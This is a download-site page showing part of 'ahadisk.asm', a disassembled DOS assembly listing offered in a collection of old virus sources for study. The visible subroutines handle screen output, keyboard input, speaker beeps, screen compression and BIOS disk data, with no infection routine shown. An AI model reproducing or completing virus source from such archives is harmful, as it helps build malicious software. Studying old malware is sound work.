⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 ahadisk.asm

📁 More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use
💻 ASM
📖 第 1 页 / 共 5 页
字号:
		mov	word ptr ds:[1D4h],cx
		mov	word ptr ds:[1D6h],dx
		jmp	loc_122
sub_7		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_8		proc	near
		mov	al,data_29
		cbw				; Convrt byte to word
		mov	di,ax
		mov	ds,data_25
		and	byte ptr ds:hdsk0_media_st_[di],0EFh
		mov	byte ptr ds:dsk_motor_tmr_,2
		mov	byte ptr ds:dsk_recal_stat_,0
		push	cs
		pop	ds
		retn
sub_8		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_9		proc	near
		mov	word ptr ds:[22Bh],cx
		test	byte ptr ds:[22Eh],20h	; ' '
		jz	loc_ret_155		; Jump if zero
		pop	ax
		mov	data_82,ax
		jmp	loc_126

loc_ret_155:
		retn
sub_9		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_10		proc	near
		mov	ah,0Eh
		mov	bh,0
		int	10h			; Video display   ah=functn 0Eh
						;  write char al, teletype mode
		retn
sub_10		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_11		proc	near
		push	ax
		push	bx
		mov	al,7
		call	sub_10
		pop	bx
		pop	ax
		retn
sub_11		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_12		proc	near
		call	sub_7
		mov	al,0B6h
		out	43h,al			; port 43h, 8253 wrt timr mode
		mov	ax,180h
		out	42h,al			; port 42h, 8253 timer 2 spkr
		mov	al,ah
		out	42h,al			; port 42h, 8253 timer 2 spkr
		in	al,61h			; port 61h, 8255 port B, read
		or	al,3
		out	61h,al			; port 61h, 8255 B - spkr, etc
		call	sub_7
		in	al,61h			; port 61h, 8255 port B, read
		and	al,0FCh
		out	61h,al			; port 61h, 8255 B - spkr, etc
						;  al = 0, disable parity
		retn
sub_12		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_13		proc	near
		mov	ah,2
		mov	dx,2000h
		mov	bh,data_104
		int	10h			; Video display   ah=functn 02h
						;  set cursor location in dx
		retn
sub_13		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_14		proc	near
		mov	ah,2
		mov	bh,0
		int	10h			; Video display   ah=functn 02h
						;  set cursor location in dx
		call	sub_15
		retn
sub_14		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_15		proc	near
loc_156:
		cld				; Clear direction
		lodsb				; String [si] to al
		cmp	al,0
		je	loc_ret_157		; Jump if equal
		mov	ah,0Eh
		mov	bh,0
		int	10h			; Video display   ah=functn 0Eh
						;  write char al, teletype mode
		jmp	short loc_156

loc_ret_157:
		retn
sub_15		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_16		proc	near
loc_158:
		mov	ah,0
		int	16h			; Keyboard i/o  ah=function 00h
						;  get keybd char in al, ah=scan
		cmp	al,1Bh
		jne	loc_159			; Jump if not equal
		pop	ax
		jmp	data_89
loc_159:
		cmp	al,0Dh
		jne	loc_160			; Jump if not equal
		mov	al,data_103
		jmp	short loc_161
		db	90h
loc_160:
		cmp	al,30h			; '0'
		jl	loc_162			; Jump if <
		cmp	al,data_102
		jg	loc_162			; Jump if >
loc_161:
		and	ax,7
		retn
loc_162:
		call	sub_11
		jmp	short loc_158
sub_16		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_17		proc	near
		mov	cx,0FA0h
		shr	cx,1			; Shift w/zeros fill
		cld				; Clear direction
		lodsb				; String [si] to al
		inc	si
		xchg	ah,al
loc_163:
		lodsb				; String [si] to al
		dec	cx
		jz	loc_165			; Jump if zero
		inc	si
		cmp	ah,al
		jne	loc_164			; Jump if not equal
		inc	bx
		jmp	short loc_163
loc_164:
		call	sub_26
		jmp	short loc_163
loc_165:
		call	sub_26
		retn
sub_17		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_18		proc	near
		push	ds
		push	es
		mov	si,data_1e
		mov	di,data_16e
		mov	bx,0
		mov	ds,cs:data_91
		mov	es,cs:data_91
		call	sub_17
		mov	si,data_2e
		mov	bx,0
		call	sub_17
		pop	es
		pop	ds
		retn
sub_18		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_19		proc	near
		mov	ax,4ADh
		mov	data_93,ax
		call	sub_21
		retn
sub_19		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_20		proc	near
		mov	ax,6F7h
		mov	data_93,ax
		call	sub_21
		retn
sub_20		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_21		proc	near
		push	cx
		push	dx
		push	si
		push	di
		push	ax
		xor	di,di			; Zero register
		mov	si,cs:data_93
loc_166:
		lodsb				; String [si] to al
		cmp	al,1
		jne	loc_169			; Jump if not equal
		lodsw				; String [si] to ax
		mov	cx,ax
		test	cl,80h
		jz	loc_167			; Jump if zero
		xchg	ch,cl
		and	cx,7FFFh
		lodsb				; String [si] to al
		jmp	short locloop_168
		db	90h
loc_167:
		xchg	al,ah
		and	cx,7Fh

locloop_168:
		call	sub_25
		loop	locloop_168		; Loop if cx > 0

		jmp	short loc_170
		db	90h
loc_169:
		call	sub_25
loc_170:
		cmp	di,0FA0h
		jl	loc_166			; Jump if <
		jnz	loc_171			; Jump if not zero
		mov	di,1
		jmp	short loc_166
loc_171:
		pop	ax
		pop	di
		pop	si
		pop	dx
		pop	cx
		retn
sub_21		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_22		proc	near
		push	ds
		mov	ds,data_91
		mov	si,data_4e
		mov	di,offset data_115
		mov	cx,7
		cld				; Clear direction
		repe	cmpsw			; Rep zf=1+cx >0 Cmp [si] to es:[di]
		pop	ds
		cmp	cx,0
		jne	loc_ret_172		; Jump if not equal
		mov	data_92,0D5h
		call	sub_44

loc_ret_172:
		retn
sub_22		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_23		proc	near
		mov	ah,0Fh
		int	10h			; Video display   ah=functn 0Fh
						;  get state, al=mode, bh=page
						;   ah=columns on screen
		mov	ah,3
		int	10h			; Video display   ah=functn 03h
						;  get cursor loc in dx, mode cx
		mov	data_104,bh
		mov	data_105,cx
		mov	data_106,dx
		call	sub_18
		retn
sub_23		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_24		proc	near
		mov	data_93,1000h
		mov	ax,data_91
		push	ds
		mov	ds,ax
		call	sub_21
		pop	ds
		mov	bh,data_104
		mov	dx,data_106
		mov	ah,2
		int	10h			; Video display   ah=functn 02h
						;  set cursor location in dx
		mov	ah,1
		mov	cx,data_105
		int	10h			; Video display   ah=functn 01h
						;  set cursor mode in cx
		retn
sub_24		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_25		proc	near
		push	es
		mov	es,cs:data_91
		mov	dx,cs:data_90
		cli				; Disable interrupts
		push	ax
loc_173:
		in	al,dx			; port 0, DMA-1 bas&add ch 0
		test	al,1
		jnz	loc_173			; Jump if not zero
loc_174:
		in	al,dx			; port 0, DMA-1 bas&add ch 0
		test	al,1
		jz	loc_174			; Jump if zero
		pop	ax
		mov	es:[di],al
		sti				; Enable interrupts
		inc	di
		inc	di
		pop	es
		retn
sub_25		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_26		proc	near
		cmp	ah,1
		je	loc_175			; Jump if equal
		cmp	bx,0
		je	loc_178			; Jump if equal
		cmp	bx,1
		jne	loc_175			; Jump if not equal
		xor	bx,bx			; Zero register
		xchg	ah,al
		stosb				; Store al to es:[di]
		jmp	short loc_179
		db	90h
loc_175:
		push	ax
		inc	bx
		mov	al,1
		stosb				; Store al to es:[di]
		mov	ax,bx
		and	bx,0FF80h
		nop				;*ASM fixup - sign extn byte
		jz	loc_176			; Jump if zero
		or	ax,8000h
		xchg	ah,al
		stosw				; Store ax to es:[di]
		jmp	short loc_177
		db	90h
loc_176:
		stosb				; Store al to es:[di]
loc_177:
		xor	bx,bx			; Zero register
		pop	ax
loc_178:
		xchg	ah,al
loc_179:
		stosb				; Store al to es:[di]
		retn
sub_26		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_27		proc	near
		mov	al,data_110
		mul	data_111		; ax = data * al
		add	ax,3Dh
		mov	di,ax
		mov	al,data_112
		mov	cl,15h
loc_180:
		call	sub_25
		dec	cl
		cmp	cl,0
		jne	loc_180			; Jump if not equal
		retn
sub_27		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_28		proc	near
		mov	ds,data_25
		cmp	byte ptr ds:video_mode_,7
		je	loc_183			; Jump if equal
		cmp	byte ptr ds:video_mode_,2
		je	loc_182			; Jump if equal
		cmp	byte ptr ds:video_mode_,3
		je	loc_182			; Jump if equal
loc_181:
		push	cs
		pop	ds
		stc				; Set carry flag
		retn
loc_182:
		push	cs
		pop	ds
		clc				; Clear carry flag
		retn
loc_183:
		mov	ds,cs:data_91
		xor	si,si			; Zero register
		mov	cx,50h
		xor	bx,bx			; Zero register
		cld				; Clear direction

locloop_184:
		lodsw				; String [si] to ax
		cmp	ah,al
		jne	loc_185			; Jump if not equal
		inc	bx
loc_185:
		loop	locloop_184		; Loop if cx > 0

		cmp	bx,0Ah
		jg	loc_181			; Jump if >
		jmp	short loc_182
sub_28		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_29		proc	near
		mov	cx,2
		mov	es,data_25
		cld				; Clear direction
		cli				; Disable interrupts
		rep	movsw			; Rep when cx >0 Mov [si] to es:[di]
		sti				; Enable interrupts
		retn
sub_29		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_30		proc	near
		clc				; Clear carry flag
		mov	word ptr ds:[1F0h],es
		mov	es,data_25
		cmp	ax,es:[di]
		jne	loc_186			; Jump if not equal
		push	cs
		pop	ax
		cmp	ax,es:[di+2]
		je	loc_187			; Jump if equal
loc_186:
		stc				; Set carry flag
loc_187:
		mov	es,word ptr ds:[1F0h]
		retn
sub_30		endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_31		proc	near
		mov	data_100,0F5h
		mov	data_97,9
		mov	data_95,1
loc_188:
		mov	al,data_95
		cbw				; Convrt byte to word
		mov	word ptr ds:[1A9h],0
		mov	word ptr ds:[1ABh],ax
		call	sub_32
		mov	dh,byte ptr ds:[1AFh]
		mov	dl,7
		sub	dl,dh
		mov	dh,data_97
		mov	si,0EDh

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -